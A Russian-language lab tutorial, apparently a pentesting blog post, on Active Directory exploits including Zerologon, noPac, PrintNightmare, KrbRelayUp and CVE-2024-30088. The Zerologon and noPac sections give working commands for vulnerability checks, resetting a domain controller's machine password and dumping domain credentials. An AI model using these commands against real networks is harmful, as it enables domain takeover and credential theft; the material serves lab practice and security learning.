Всё что ты хотел узнать про эксплоиты, НО тебе было лень или как скомпрометировать весь домен одной командой

Эксплойты — это подвид вредоносных программ. Они содержат данные или исполняемый код, способный воспользоваться одной или несколькими уязвимостями в программном обеспечении на локальном или удаленном компьютере.

Например, у вас есть браузер, и есть уязвимость в нем, которая позволяет исполнить «произвольный код», то есть установить и запустить некую вредоносную программу на вашей системе без вашего ведома или спровоцировать какое-либо иное не ожидаемое вами поведение системы. Чаще всего первым шагом злоумышленников становится повышение привилегий, позволяющее делать в атакуемой системе все, что в голову взбредет.

Источник: 
Сегодня я расскажу про самые опасные эксплоиты, которые активно использовали хакеры для продвижения в домене AD. Лабораторную для проведения тестов я буду использовать от codeby.net

Zerologon

Zerologon — это уязвимость алгоритма криптографии, который используется в процессе аутентификации Netlogon. Она позволяет атаковать контроллеры домена MS Active Directory. Zerologon позволяет хакеру выдать себя за любой компьютер, включая корневой контроллер домена. Идентификатор CVE-2020-1472. Ее так назвали из-за изъяна процесса Netlogon: вектор инициализации (IV), который должен был бы представлять собой случайное число, всегда состоит из одних нулей.

Тут все подробно расписано: https://www.trendmicro.com/ru_ru/what-is/zerologon.html

Проверяем хост на наличие уязвимости

nxc smb 10.7.0.2 -M zerologon

Не удалось прогрузить медиа

https://github.com/dirkjanm/CVE-2020-1472 

Не удалось прогрузить медиа

Передаем имя уязвимого DC и ip адрес. Эксплоит установит пустой пароль для машинной учетной записи.

Не удалось прогрузить медиа

https://github.com/dirkjanm/CVE-2020-1472/blob/master/restorepassword.py 

python3 restorepassword.py CDB-CVE.local/hackmedc@hackmedc -target-ip 10.7 .0.2 -hexpass 00cac.....11bc93 -no-pass

Не удалось прогрузить медиа

Таким образом мы получаем все учетки из домена. Не забываем вернуть пароль в исходное состояние иначе домен спустя пару минут перестанет работать.

noPac (CVE-2021-42278 & CVE-2021-42287) 

Проверить наличие уязвимости

netexec smb 10.7.0.2 -u student -p Qwerty123 -M nopac

Не удалось прогрузить медиа

Сдампим креды

python3 noPac.py CDB-CVE.local/student:Qwerty123 -dc-ip 10.7.0.2 -just-dcuser blackrabbit -dump --impersonate hackmedc -use-ldap


Подробнее по noPac: https://www.secureworks.com/blog/nopac-a-tale-of-two-vulnerabilities-that-could-end-in-ransomware

 PrintNightmare(CVE-2021-1675 & CVE-2021-34527)

Подробнее: https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/

KrbRelayUp 

Подробнее: https://cythera.com.au/resources/windows-enterprise-environments-vulnerable-to-krbrelayup-attacks-

CVE-2024-30088

Подробнее: https://avleonov.ru/2024/07/01/1711-povyshenie-kritichnosti-ujazvimosti-elevation-of-p/


как узнать что система уязвимая

https://github.com/antonioCoco/RunasCs/releases/tag/v1.5 скачиваем этот софт

Не удалось прогрузить медиа

Не удалось прогрузить медиа

Если обнова меньше KB5039214, то уязвимость присутствует.

Не удалось прогрузить медиа